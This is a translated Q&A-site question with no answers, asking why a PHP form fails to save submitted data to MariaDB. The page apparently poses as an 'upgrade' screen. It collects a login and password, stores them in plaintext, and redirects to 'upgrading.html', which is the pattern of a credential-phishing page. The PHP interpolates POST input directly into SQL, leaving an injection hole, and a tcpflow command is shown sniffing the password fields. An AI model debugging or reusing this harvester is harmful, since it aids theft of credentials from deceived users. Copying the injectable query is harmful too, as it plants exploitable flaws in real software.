从WEB输入的数据不会记录到数据库中

时间:2019-03-10 19:08:59

标签: php sql linux database nginx

有人可以帮我弄清楚为什么所有新登录信息都没有记录到数据库中吗? 我有这样的环境:

MariaDB:

MariaDB [(none)]> select * from db.table;
| id | password1 | password2 |

nginx ,带有这样的文件 dbconnect.php

<?php
session_start();
ob_start();
$host="localhost";
$username="name";
$pass="password";
$dbname="db";
$tbl_name="table";

// Create connection
$conn = mysqli_connect($host, $username, $pass, $dbname);
// Check connection
if ($conn) {
    $password1=$_POST['password1'];
        $password2=$_POST['password2'];

        $sql = "INSERT INTO table (password1, password2) VALUES ('$password1', '$password2')";
        if (mysqli_query($conn, $sql)) {
        echo "New record created successfully";
        } else {
                echo "Error: " . $sql . "<br>" . mysqli_error($conn);
        }

        mysqli_close($conn);
}

sleep(2);
header("location:upgrading.html");
ob_end_flush();
?>

html页面:

<form method="POST" action="dbconnect.php">
          <label>login:</label>
          <input class="form-control" type="password" name="password1" required="required">
          <label>password:</label>
          <input class="form-control" type="password" name="password2" required="required">
          <input type="submit" value="Start Upgrade" class="btn btn-primart" />
</form>

但是在那些字段(密码1和密码2)中输入数据并通过WEB提交后,数据库却没有更新,尽管我可以使用此命令在线查看输入的数据:

sudo tcpflow -i any -C -g port 80 | grep -i "password1="

但是在将凭据输入WebForm后,我得到了405 method not allowed。也许有一个原因为什么数据没有记录到数据库中。试图修复它。

0 个答案:

没有答案